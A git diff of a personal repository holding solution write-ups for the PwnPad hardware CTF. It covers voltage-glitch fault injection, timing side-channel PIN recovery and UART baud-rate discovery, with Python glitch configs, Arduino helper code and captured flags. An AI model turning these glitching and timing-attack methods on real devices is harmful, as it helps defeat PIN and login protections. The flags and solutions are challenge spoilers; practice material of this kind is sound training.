+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
+++ b/docs/09_GoB.png
Binary files differ
diff --git a/docs/09_GoB_config.py b/docs/09_GoB_config.py
new file mode 100644
index 0000000..94c453d
--- /dev/null
+++ b/docs/09_GoB_config.py
@@ -0,0 +1,155 @@
+######
+# LEAVE THESE IMPORTS!
+######
+from arduinIO import ArduinoController
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+######
+# arduinIO values
+######
+ARDIO_PORT = "/dev/ttyACM2"
+ARDIO_BAUDRATE = 115200
+ARDIO_INPUT_PIN = 2
+ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
+ARDIO_PULSE_DURATION_MS = 300
+
+arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
+arduino.connect()
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ['run', False, "", 'find_code'],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ version = arduino.get_version()
+ functions.add_text(f"[INFO] Connected to Arduino: {version}")
+
+ # Configure pins
+ functions.add_text("[INFO] Configuring pin modes...")
+ arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
+ for pin in ARDIO_OUTPUT_PINS:
+ arduino.set_mode(pin, "OUTPUT")
+ arduino.set_default(pin, "LOW")
+
+ # Display current configuration
+ pinmap = arduino.get_pinmap()
+ functions.add_text(f"[INFO] Pin map: {pinmap}")
+
+
+def button_ok():
+ # Pulse one output pin
+ functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dash():
+ functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_space():
+ functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def button_dot():
+ functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
+ arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+
+def echo_trigger_state():
+ state = arduino.get_state(ARDIO_INPUT_PIN)
+ functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
+
+def find_code():
+ """
+ Discover a five-digit code by sending candidate pulses and measuring the
+ interval from sending OK (pin 8) until input goes HIGH using wait_for().
+
+ For each digit:
+ - Send one pulse for previously found digits.
+ - Send repeated pulses of the candidate digit to fill 5 pulses.
+ - Pulse OK (pin 8) to trigger the device.
+ - Measure duration using wait_for() for input HIGH.
+ - Select candidate with the longest LOW duration before HIGH.
+ """
+ candidate_pins = [9, 10, 11]
+ code_sequence = []
+ pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
+
+ button_ok()
+ functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.5)
+
+ functions.add_text("[INFO] Starting full code discovery sequence...")
+
+ for digit_index in range(5):
+ functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
+ results = {}
+
+ for test_pin in candidate_pins:
+ # Build sequence: previously found digits + candidate repeated
+ sequence = code_sequence.copy()
+ remaining_pulses = 5 - len(sequence)
+ sequence += [test_pin] * remaining_pulses
+ symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
+ functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
+ f"sequence: {' '.join(symbol_seq)} ...")
+
+ # Send sequence pulses (without timing)
+ for pin in sequence:
+ arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
+ time.sleep(0.1)
+
+ # Start timer and pulse OK (pin 8)
+ start_time = time.time()
+ arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
+
+ # Wait for input to go HIGH and measure duration
+ result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
